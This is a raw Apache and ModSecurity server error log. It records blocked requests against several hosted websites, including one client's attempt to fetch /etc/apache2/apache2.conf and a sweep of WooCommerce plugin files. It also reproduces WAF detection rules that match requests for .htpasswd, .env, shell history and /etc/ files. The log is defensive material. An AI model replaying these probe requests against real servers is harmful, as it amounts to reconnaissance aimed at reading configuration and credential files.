[hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ygdyTkdrNlD40tSGZ0AAALmA"] [Sat Jun 13 18:14:57.107679 2026] [security2:error] [pid 646876:tid 646979] [remote 185.177.72.9:2714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/apache2/apache2.conf"] [unique_id "ai3ygdyTkdrNlD40tSGZ1AAAMGQ"] [Sat Jun 13 18:14:57.154564 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:14:57.154870 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:14:57.177735 2026] [security2:error] [pid 646876:tid 646980] [remote 17.246.19.80:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 80.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ygdyTkdrNlD40tSGZ1QAASmU"] [Sat Jun 13 18:14:57.227295 2026] [security2:error] [pid 646876:tid 646987] [remote 18.97.14.86:56768] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "kentraneotitas.org"] [uri "/team/%CE%BA%CE%AD%CE%BD%CF%84%CF%81%CE%BF-%CE%BD%CE%B5%CF%8C%CF%84%CE%B7%CF%84%CE%B1%CF%82-%CF%80%CE%AC%CF%87%CE%BD%CE%B1%CF%82-%CF%80%CE%B1%CE%BD%CE%B5%CF%85%CE%BC%CE%AD%CE%BD%CE%B9%CE%BF%CF%82/"] [unique_id "ai3ygdyTkdrNlD40tSGZ3AAATGw"] [Sat Jun 13 18:14:57.227450 2026] [security2:error] [pid 646876:tid 647084] [client 18.97.14.86:56768] ModSecurity: Warning. Matched phrase "CCBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "kentraneotitas.org"] [uri "/team/%CE%BA%CE%AD%CE%BD%CF%84%CF%81%CE%BF-%CE%BD%CE%B5%CF%8C%CF%84%CE%B7%CF%84%CE%B1%CF%82-%CF%80%CE%AC%CF%87%CE%BD%CE%B1%CF%82-%CF%80%CE%B1%CE%BD%CE%B5%CF%85%CE%BC%CE%AD%CE%BD%CE%B9%CE%BF%CF%82/"] [unique_id "ai3ygdyTkdrNlD40tSGZ3AAATGw"] [Sat Jun 13 18:14:57.259252 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/countries.php [Sat Jun 13 18:14:57.264986 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-download-handler.php [Sat Jun 13 18:14:57.265927 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-user-functions.php [Sat Jun 13 18:14:57.266959 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-conditional-functions.php [Sat Jun 13 18:14:57.267887 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-countries.php [Sat Jun 13 18:14:57.268778 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-logger.php [Sat Jun 13 18:14:57.269466 2026] [access_compat:error] [pid 646876:tid 646994] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/locale-info.php [Sat Jun 13 18:14:57.279571 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-cart.php [Sat Jun 13 18:14:57.280551 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-webhook.php [Sat Jun 13 18:14:57.292073 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-post-data.php [Sat Jun 13 18:14:57.292961 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-attribute-functions.php [Sat Jun 13 18:14:57.293854 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-product-variable.php [Sat Jun 13 18:14:57.294597 2026] [security2:error] [pid 646876:tid 646996] [remote 17.22.253.215:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 215.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ygdyTkdrNlD40tSGZ5QAAU3U"] [Sat Jun 13 18:14:57.294765 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-order-refund.php [Sat Jun 13 18:14:57.295594 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-comments.php [Sat Jun 13 18:14:57.296542 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-webhook-functions.php [Sat Jun 13 18:14:57.297472 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-integrations.php [Sat Jun 13 18:14:57.298287 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-breadcrumb.php [Sat Jun 13 18:14:57.299154 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-order-factory.php [Sat Jun 13 18:14:57.300040 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-product-simple.php [Sat Jun 13 18:14:57.350491 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-payment-gateways.php [Sat Jun 13 18:14:57.363429 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-geolocation.php [Sat Jun 13 18:14:57.364228 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-template-loader.php [Sat Jun 13 18:14:57.364885 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-install.php [Sat Jun 13 18:14:57.365599 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-coupon.php [Sat Jun 13 18:14:57.366248 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-product-external.php [Sat Jun 13 18:14:57.373176 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-term-functions.php [Sat Jun 13 18:14:57.374214 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-customer.php [Sat Jun 13 18:14:57.381782 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-https.php [Sat Jun 13 18:14:57.382744 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-template-functions.php [Sat Jun 13 18:14:57.383487 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-cache-helper.php [Sat Jun 13 18:14:57.384354 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-ajax.php [Sat Jun 13 18:14:57.398390 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-auth.php [Sat Jun 13 18:14:57.399115 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-session-handler.php [Sat Jun 13 18:14:57.399927 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-geo-ip.php [Sat Jun 13 18:14:57.400624 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-notice-functions.php [Sat Jun 13 18:14:57.408961 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-coupon-functions.php [Sat Jun 13 18:14:57.409907 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-tracker.php [Sat Jun 13 18:14:57.410884 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-frontend-scripts.php [Sat Jun 13 18:14:57.411957 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-template-hooks.php [Sat Jun 13 18:14:57.422884 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-shortcodes.php [Sat Jun 13 18:14:57.424027 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-product-variation.php [Sat Jun 13 18:14:57.425120 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-product-functions.php [Sat Jun 13 18:14:57.426278 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-widget-functions.php [Sat Jun 13 18:14:57.427291 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-tax.php [Sat Jun 13 18:14:57.428253 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-cli.php [Sat Jun 13 18:14:57.429098 2026] [access_compat:error] [pid 646876:tid 647000] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/content-widget-product.php [Sat Jun 13 18:14:57.429243 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-order-item-meta.php [Sat Jun 13 18:14:57.430098 2026] [access_compat:error] [pid 646876:tid 647000] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product.php [Sat Jun 13 18:14:57.430177 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-embed.php [Sat Jun 13 18:14:57.431080 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-core-functions.php [Sat Jun 13 18:14:57.432094 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-validation.php [Sat Jun 13 18:14:57.433428 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-product-grouped.php [Sat Jun 13 18:14:57.434372 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-api.php [Sat Jun 13 18:14:57.435331 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-cart-functions.php [Sat Jun 13 18:14:57.436236 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-emails.php [Sat Jun 13 18:14:57.437143 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-deprecated-functions.php [Sat Jun 13 18:14:57.438085 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-query.php [Sat Jun 13 18:14:57.439010 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-shipping-rate.php [Sat Jun 13 18:14:57.439881 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-order-functions.php [Sat Jun 13 18:14:57.445825 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/BD.php [Sat Jun 13 18:14:57.446755 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/AR.php [Sat Jun 13 18:14:57.447133 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-post-types.php [Sat Jun 13 18:14:57.447599 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/PH.php [Sat Jun 13 18:14:57.447848 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-product-factory.php [Sat Jun 13 18:14:57.448422 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/NP.php [Sat Jun 13 18:14:57.448563 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-autoloader.php [Sat Jun 13 18:14:57.449251 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-formatting-functions.php [Sat Jun 13 18:14:57.449276 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/MX.php [Sat Jun 13 18:14:57.449911 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-checkout.php [Sat Jun 13 18:14:57.450082 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/MY.php [Sat Jun 13 18:14:57.450641 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-form-handler.php [Sat Jun 13 18:14:57.450986 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/PE.php [Sat Jun 13 18:14:57.451485 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-order.php [Sat Jun 13 18:14:57.451873 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/IN.php [Sat Jun 13 18:14:57.452162 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/wc-page-functions.php [Sat Jun 13 18:14:57.452745 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/GR.php [Sat Jun 13 18:14:57.452847 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/class-wc-shipping.php [Sat Jun 13 18:14:57.453575 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/ID.php [Sat Jun 13 18:14:57.454401 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/HK.php [Sat Jun 13 18:14:57.455320 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/HU.php [Sat Jun 13 18:14:57.456169 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/NZ.php [Sat Jun 13 18:14:57.456993 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/TR.php [Sat Jun 13 18:14:57.457675 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/IT.php [Sat Jun 13 18:14:57.458544 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/CA.php [Sat Jun 13 18:14:57.459369 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/BG.php [Sat Jun 13 18:14:57.460171 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/TH.php [Sat Jun 13 18:14:57.461020 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/AU.php [Sat Jun 13 18:14:57.461856 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/US.php [Sat Jun 13 18:14:57.462771 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/ZA.php [Sat Jun 13 18:14:57.463599 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/JP.php [Sat Jun 13 18:14:57.464414 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/ES.php [Sat Jun 13 18:14:57.465359 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/BR.php [Sat Jun 13 18:14:57.466040 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/IR.php [Sat Jun 13 18:14:57.466370 2026] [access_compat:error] [pid 646876:tid 647000] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/content-product.php [Sat Jun 13 18:14:57.466638 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/i18n/states/CN.php [Sat Jun 13 18:14:57.467437 2026] [access_compat:error] [pid 646876:tid 647000] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/taxonomy-product_tag.php [Sat Jun 13 18:14:57.468301 2026] [access_compat:error] [pid 646876:tid 647000] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/product-searchform.php [Sat Jun 13 18:14:57.469034 2026] [access_compat:error] [pid 646876:tid 647000] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product-reviews.php [Sat Jun 13 18:14:57.469728 2026] [access_compat:error] [pid 646876:tid 647000] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/content-product_cat.php [Sat Jun 13 18:14:57.483991 2026] [access_compat:error] [pid 646876:tid 647000] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/content-single-product.php [Sat Jun 13 18:14:57.484661 2026] [access_compat:error] [pid 646876:tid 647000] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/archive-product.php [Sat Jun 13 18:14:57.493294 2026] [access_compat:error] [pid 646876:tid 647000] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/taxonomy-product_cat.php [Sat Jun 13 18:14:57.672209 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 